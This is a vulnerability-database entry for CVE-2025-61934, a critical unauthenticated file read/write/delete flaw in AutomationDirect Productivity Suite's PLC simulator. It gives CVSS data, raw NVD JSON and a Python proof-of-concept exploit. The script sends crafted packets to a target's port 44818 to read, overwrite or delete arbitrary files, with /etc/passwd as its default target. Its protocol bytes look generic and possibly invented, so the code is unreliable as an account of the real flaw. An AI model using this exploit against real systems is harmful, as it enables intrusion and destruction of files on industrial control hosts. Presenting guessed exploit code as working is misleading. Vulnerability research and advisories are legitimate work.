Security Vulnerability Report
中文
CVE-2025-61934 CVSS 10.0 CRITICAL

CVE-2025-61934

Published: 2025-10-23 22:15:49
Last Modified: 2026-04-15 00:35:42

Description

A binding to an unrestricted IP address vulnerability was discovered in Productivity Suite software version v4.4.1.19. The vulnerability allows an unauthenticated remote attacker to interact with the ProductivityService PLC simulator and read, write, or delete arbitrary files and folders on the target machine

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AutomationDirect Productivity Suite v4.4.1.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-61934 PoC - Productivity Suite Unrestricted IP Binding This PoC demonstrates exploitation of the unrestricted IP binding vulnerability in ProductivitySuite v4.4.1.19 ProductivityService PLC simulator. WARNING: Only use for authorized security testing. """ import socket import struct import sys def create_file_operation_request(file_path, operation='read'): """Generate file operation request packet for ProductivityService""" # PLC Simulator protocol header header = b'\x00\x01' # Protocol version header += struct.pack('>I', 0x00000001) # Message type (file operation) header += struct.pack('>I', len(file_path) + 16) # Payload length # Operation type: 0x01=read, 0x02=write, 0x03=delete if operation == 'read': op_code = b'\x00\x00\x00\x01' elif operation == 'write': op_code = b'\x00\x00\x00\x02' elif operation == 'delete': op_code = b'\x00\x00\x00\x03' # File path length and path data path_data = struct.pack('>I', len(file_path)) + file_path.encode('utf-8') return header + op_code + path_data def exploit_cve_2025_61934(target_ip, port=44818, file_path='/etc/passwd', operation='read'): """ Exploit function for CVE-2025-61934 Args: target_ip: Target machine IP address port: ProductivityService port (default: 44818) file_path: File path to read/write/delete operation: 'read', 'write', or 'delete' """ try: print(f"[*] Connecting to {target_ip}:{port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) print(f"[*] Sending {operation} request for: {file_path}") request = create_file_operation_request(file_path, operation) sock.send(request) # Receive response response = sock.recv(4096) print(f"[*] Received response ({len(response)} bytes)") if operation == 'read' and len(response) > 16: # Parse and display file content data = response[16:] print(f"[+] File content:\n{data.decode('utf-8', errors='ignore')}") else: print(f"[*] Operation completed") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <file_path> [operation]") print(f"Operations: read (default), write, delete") sys.exit(1) target = sys.argv[1] filepath = sys.argv[2] op = sys.argv[3] if len(sys.argv) > 3 else 'read' exploit_cve_2025_61934(target, 44818, filepath, op)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61934", "sourceIdentifier": "[email protected]", "published": "2025-10-23T22:15:48.710", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A binding to an unrestricted IP address vulnerability was discovered in Productivity Suite software version v4.4.1.19. The vulnerability allows an unauthenticated remote attacker to interact with the ProductivityService PLC simulator and read, write, or delete arbitrary files and folders on the target machine"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1327"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-296-01.json", "source": "[email protected]"}, {"url": "https://support.automationdirect.com/docs/securityconsiderations.pdf", "source": "[email protected]"}, {"url": "https://www.automationdirect.com/support/software-downloads", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-296-01", "source": "[email protected]"}]}}